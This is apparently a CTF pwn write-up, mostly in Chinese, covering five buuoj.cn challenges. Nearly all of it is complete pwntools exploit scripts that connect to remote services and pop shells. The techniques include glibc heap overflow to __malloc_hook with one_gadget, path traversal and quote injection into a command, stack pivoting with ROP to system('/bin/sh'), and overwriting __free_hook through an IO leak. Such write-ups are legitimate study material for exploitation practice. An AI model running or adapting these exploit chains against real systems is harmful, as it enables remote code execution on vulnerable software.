easynote

ub leak libc -> heap overflow -> malloc_hook - 0x23 -> realloc hook -> og

```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pwn import *

context(arch = 'amd64', os = 'linux')
context.log_level = 'debug'
context.terminal='wt.exe bash -c'.split(' ')

# sh = process('./pwn')
sh = remote('node4.buuoj.cn', 25386)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')

def menu(idx: int):
    sh.recvuntil(b'5. exit')
    sh.sendline(str(idx).encode())

def add(size: int, content: bytes):
    menu(1)
    sh.recvuntil(b'The length of your content --->')
    sh.sendline(str(size).encode())
    sh.recvuntil(b'Content --->')
    sh.send(content)

def edit(idx: int, length: int, content: bytes):
    menu(2)
    sh.recvuntil(b'Index --->')
    sh.sendline(str(idx).encode())
    sh.recvuntil(b'The length of your content --->')
    sh.sendline(str(length).encode())
    sh.recvuntil(b'Content --->')
    sh.send(content)

def delete(idx: int):
    menu(3)
    sh.recvuntil(b'Index --->')
    sh.sendline(str(idx).encode())

def show(idx: int):
    menu(4)
    sh.recvuntil(b'Index --->')
    sh.sendline(str(idx).encode())
    sh.recvuntil(b'Content: ')

add(0x90, b'A')  # 0
add(0x60, b'B')  # 1
add(0x20, b'B')  # 2
delete(0)
show(0)
```

```
libc_base = u64(sh.recv(6).ljust(8, b'\x00')) - 0x3c4b78
__malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
system = libc_base + libc.sym['system']
success('libc_base -> {}'.format(hex(libc_base)))


delete(1)
edit(0, 0xd0, p64(libc_base + 0x3c4b78)*2 + b'\x00'*0x88 + p64(0x70) +
p64(__malloc_hook-0x23))
add(0x60, b'/bin/sh\x00')  # 3
og = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
add(0x60, b'\x00'*(0x13-0x08) + p64(libc_base + og[3]) + p64(realloc+4))  # 4
# gdb.attach(sh, f'b malloc')
# success('realloc -> {}'.format(hex(og[2] + libc_base)))
# pause(3)
menu(1)
sh.recvuntil(b'The length of your content --->')
sh.sendline(str(0x20).encode())

sh.interactive()
```

server

利用了 `../../../../../../../../keysh\n\n` 溢出 + 构造脏数据

之后通过 `AAAAAA'\n` 拿 shell

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pwn import *

context(arch = 'amd64', os = 'linux')
context.log_level = 'debug'
context.terminal='wt.exe bash -c'.split(' ')

REMOTE = True
ip = 'node4.buuoj.cn'
port = 28782
if REMOTE:
    sh = remote(ip, port)
else:
    sh = process('./pwn_7')
elf = ELF('./pwn_7')
# libc = ELF('./')

def menu(choice: int):
    sh.recvuntil(b'Your choice >> ')
    sh.sendline(str(choice))

def check(key: bytes):
    menu(1)
```

```
    sh.recvuntil(b'Please input the key of admin : ')
    sh.send(key)

def add(cmd: bytes):
    menu(2)
    sh.recvuntil(b'Please input the username to add : ')
    sh.send(cmd)

check(b"../../../../../../../../keysh\n\n")
add( b"AAAAAA'\n")
sh.interactive()
```

A dream

栈迁移，修改子线程的返回地址为 `system('/bin/sh')`，需要爆 4 bit。

远程环境和本地的不一样，所以要进远程 leak 一下再调一下偏移。

```
#!python
#coding:utf-8

from pwn import *
import subprocess, sys, os
from time import sleep

arg = lambda x, y: args[y] if args[y] else x
FILE = arg('./pwn_9', 'FILE')
IP = arg('node4.buuoj.cn', 'IP')
PORT = arg(25842, 'PORT')
LIBC = arg('./libc6_2.31-0ubuntu9.7_amd64.so', 'LIBC')
RLIBC = arg(LIBC, 'RLIBC')

sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive() if p.connected() else p.close()
dbg = lambda cmd='': gdb.attach(p, cmd)and pause(2)if args['DBG']else False
uu64 = lambda x: u64(x.ljust(8, b'\0'))
leak = lambda value, info=b'': success('%s ==> 0x%x'%(info, value))
one_gadget = lambda filename=LIBC: list(map(int,
subprocess.check_output(['one_gadget', '--raw', filename]).split()))
def run(ip=IP, port=PORT):global p;p=remote(ip,port)if args['REMOTE'] else
process(FILE)
def loadlibc(filename=RLIBC if args['REMOTE'] else LIBC):global
libc;libc=ELF(filename,checksec=False)
def str2int(s, info = '',offset = 0):s=p.recv(s)if type(s)==int else
s;ret=uu64(s)-offset;leak(ret,info);return ret

context(os='linux', arch='amd64')
context.terminal = 'wt.exe -w pwn nt bash -c'.split()
context.log_level = 'DEBUG'

def chose(idx):
    sla(b'Chose', str(idx).encode())
def add(idx, size, content=b'\n'):
    chose(1)
```

```
    sla(b'Index', str(idx).encode())
    sla(b'Size', str(size).encode())
    sa(b'Content', content)
def free(idx):
    chose(2)
    sla(b'Index', str(idx).encode())
def edit(idx, content):
    chose(3)
    sla(b'Index', str(idx).encode())
    sa(b'Content', content)
def show(idx):
    chose(4)
    sla(b'Index', str(idx).encode())
def ret2csu(func, edi, rsi, rdx, last=0):
    __libc_csu_init = 0x401460
    __libc_csu_fini = 0x40147A
    payload  = p64(__libc_csu_fini)
    # payload += b'a'*8
    payload += flat(0, 1, edi, rsi, rdx, func, __libc_csu_init)
    # payload += b'a' * 56
    # payload += p64(last)
    return payload
def my_pause(n=0):
    p.recvuntil(b'winmt wants a girlfriend...\n')

x = 1
while x:
    x = 1
    run()
    e = ELF(FILE, checksec=False)
    # rop = ROP(e)
    # rop.call(e.plt['puts'], [e.got['puts']])
    # payload  = rop.chain()
    # payload  = ret2csu(e.got['read'], 0, e.bss()+0x800, 0x100, 0)
    rdi = 0x0000000000401483 #  pop rdi; ret;
    rsi = 0x0000000000401481 #  pop rsi; pop r15; ret;
    payload  = flat(e.bss()+0x800, rdi, e.got['puts'], e.plt['puts'],
repeatread:=0x4013AE)
    payload  = payload.ljust(0x40, b'\0') + b'\x50'
    # dbg('b *0x4013C5')
    dbg('b *0x401391')
    p.recvuntil(b'\x1B[5m\x1B[31mwinmt has a dream ! ! !\x1B[0m\n')
    my_pause(1)
    p.send(payload)
    loadlibc()
    # libc.address = str2int(6, 'libc')
    # exit()
    try:
        libc.address = str2int(6, 'libc', libc.sym['puts'])
        assert libc.address & 0xfff == 0
    except KeyboardInterrupt:
        p.close()
        break
    except:
        p.close()
        continue
```

```
    payload  = ret2csu(e.got['read'], 0, e.bss()+0x800+0x38, 0x8*25).ljust(0x40)
    payload += flat(e.bss()+0x800-0x40-8, lr:=0x401415)
    my_pause(1)
    p.send(payload)
    rax = libc.address + 0x0000000000047400 #  pop rax; ret;
    rdi = libc.address + 0x0000000000023b72 #  pop rdi; ret;
    rsi = libc.address + 0x000000000002604f #  pop rsi; ret;
    rdx = libc.address + 0x0000000000119241 #  pop rdx; pop r12; ret;
    syscall = libc.address + 0x00000000000630d9 #  syscall; ret;
    target = libc.address - 0x7ffff7d88000 + 0x7ffff7d83ef8
    payload  = flat(rdi, 0, rsi, target, rdx, 0x8*4, 0, rax, 0, syscall)
    payload += flat(rdi, 0, rsi, e.got['sleep'], rdx, 0x8, 0, rax, 0, syscall)
    payload += flat(rdi, 1000000000, libc.sym['sleep'])
    my_pause(1)
    p.send(payload)
    payload  = flat(rdi+1, rdi, next(libc.search(b'/bin/sh\0')),
libc.sym['system'])
    my_pause(1)
    p.send(payload)
    my_pause(1)
    # dbg('b *0x401391')
    # pause()
    p.send(p64(lr))
    ia()
```

matchmaking platform

读取输入函数中存在有符号数溢出，可以更改到bss上一地址的末位

利用bss上0x4060处一个指向自身的地址，先改末位为0x68，先修改到存储次数的地址实现无限次任意写。然后io泄露libc，改free_hook为system

```
from pwn import *
context.log_level='debug'
libc=ELF('./libc-2.31.so')
offset=0x7f93d50c0980-0x7f93d4ed4000
p=process('./pwn')
#p=connect('node4.buuoj.cn',28076)
p.sendafter(b'>>',b'a'*0x80+b'\x60')
p.sendlineafter(b'>>',b'\x68')

p.sendafter(b'>>',b'a'*0x80+b'\x60')
p.sendlineafter(b'>>',p32(5))

p.sendafter(b'>>',b'a'*0x80+b'\x80')
p.sendlineafter(b'>>',p64(0xfbad1800)+p64(0x0)*3+b'\x00')
libc.address=u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0')-offset
info(hex(libc.address))

p.sendafter(b'>>',b'a'*0x80+b'\x60')
p.sendlineafter(b'>>',p32(5))
```

```
p.sendafter(b'>>',b'a'*0x80+b'\xc8')
p.sendlineafter(b'>>',b'/bin/sh\x00')

p.sendafter(b'>>',b'a'*0x80+b'\x60')
p.sendlineafter(b'>>',p32(3)+p32(0)+p64(libc.sym['__free_hook']))

p.sendafter(b'>>',b'a'*0x80+b'\x70')
p.sendlineafter(b'>>',p64(libc.sym['system']))

p.interactive()
```

careful

gethostbyname()被hook了，直接放进https://s.threatbook.com/看hook后的域名